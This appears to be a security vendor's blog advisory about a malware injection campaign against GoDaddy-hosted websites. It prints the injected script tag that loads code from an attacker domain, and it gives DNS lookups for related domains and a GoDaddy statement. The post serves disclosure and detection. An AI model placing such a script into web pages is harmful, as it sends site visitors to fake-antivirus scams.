If you thought your problems at GoDaddy were over, well, not yet.
We’ve confirmed that today at around 3pm EST, GoDaddy servers were hacked again. Malware pointing to cloudisthebestnow.com/kp.php was inserted on thousands of sites hosted by the provider.
This is how the script will look like in your pages:
< script src = http://cloudisthebestnow.com/kp.php >
It will redirect your users to that nasty “fake AV” page again. What’s interesting is that cloudisthebestnow.com is hosted and owned by the same people involved in the latest attacks at GoDaddy.
$ host cloudisthebestnow.com
cloudisthebestnow.com has address 126.96.36.199
$ host losotrana.com
losotrana.com has address 188.8.131.52
A sample of the malware injected in the pages is available here: http://sucuri.net/malware/entry/MW:MROBH:2
If you are one of our customers, our scanner probably alerted you or will do so very soon.
How is this happening?
GoDaddy has some internal vulnerability that is allowing the attackers to upload the following code to their sites: MW:SIPRO:1. A few minutes after this code is uploaded, the attackers run it remotely and this PHP script infects all the files within the site.

Update from GoDaddy:
GoDaddy contacted us and left the following comment:
After the most recent malware attack the Go Daddy Security Operations Team conducted a thorough investigation and removed the malicious code impacting our customers.
The attack injects websites with a fake-antivirus pop-up ad, claiming the visitor’s computer is infected.
